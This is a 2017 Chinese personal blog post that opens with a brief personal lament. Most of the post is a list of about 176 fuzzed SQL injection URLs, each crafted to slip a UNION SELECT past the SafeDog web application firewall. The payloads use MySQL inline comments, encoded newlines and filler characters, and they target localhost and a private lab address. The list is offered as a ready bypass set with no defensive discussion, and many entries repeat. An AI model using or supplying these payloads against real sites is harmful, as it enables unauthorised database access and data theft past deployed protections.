Sh4dow's Blog

活了二十几年，从来没有人给过我一次意外感动或惊喜，也没有人在我生日的时候给过我特别的礼物，生病的时候得到的只是一些不在身边的语言安慰，也不见谁真正的照顾过自己，甚至有的时候自己蒙头睡一觉就好了，也有人喜欢过我，但是从没见谁坚持过。

2017.11.28 bypass安全狗SQL注入语句（176处）

绕过安全狗SQL注入语句花了一下午时间Fuzzing，跑出了176处。最新版安全狗，绕过 SQL

11/30更新50处、


https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*@--|*//*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+/*!%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+*%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+=%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+!%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+@%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+.%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+-%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--++%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+|%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%df%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+ %0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a+select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2a%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2b%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2c%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2d%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2f%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*|--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*|--|*//*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*|--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!/*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!/*!+select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!/*! select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!/*!%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!+/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*! /*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!%0a/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+/*!%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+*%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+=%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+!%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+@%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+.%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+-%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--++%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+|%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%df%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+ %0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a+select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2a%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2b%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2c%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2d%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%2f%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*|%20--%20|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*|%20--%20|*//*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*|%20--%20|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/-%2d%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/+--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/+/*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/+--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/ --+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/ /*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/ --+%0aselect*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/%0a/*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/*//*!/*!select*/ 1,2,3

https://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*/%2d-%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+*%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+=%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+!%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+@%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+.%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+-%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--++%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+|%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%df%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+ %0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a+select*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a select*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a%0bselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a%0cselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0a%0dselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0b%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0c%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0d%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0e%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0f%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%2a%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%2b%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%2c%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%2d%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%2f%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*//*|--|*/--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*//*|%20--%20|*/--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/-%2d%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/+--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/ --+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/%0b--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/%0c--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/%0d--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/%2d-%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*//*@--|*/%2d%2d%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/*%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/=%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/!%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/@%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/.%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/-%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/|%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/%0e%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/%0f%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/%2a%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/%2c%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*@--|*/%2d%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+*%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+=%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+!%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+@%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+.%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+-%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--++%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+|%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%df%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+ %0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0a+select*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0a select*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0a%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0a%0bselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0a%0cselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0a%0dselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0d%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0e%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%0f%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%2a%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%2b%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%2c%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%2d%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+--+%2f%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*|--|*/--+%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*|--|*/*%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*|--|*/=%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*|--|*/!%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*|--|*/@%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*|--|*/.%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*|--|*/-%0aselect*/ 1,2,3

https://192.168.40.131/index.php?id=1/*!union/*@--|*/--+/*|--|*/|%0aselect*/ 1,2,3


2017-11-28 1
评论 ( 1 )

© Sh4dow's Blog | Powered by LOFTER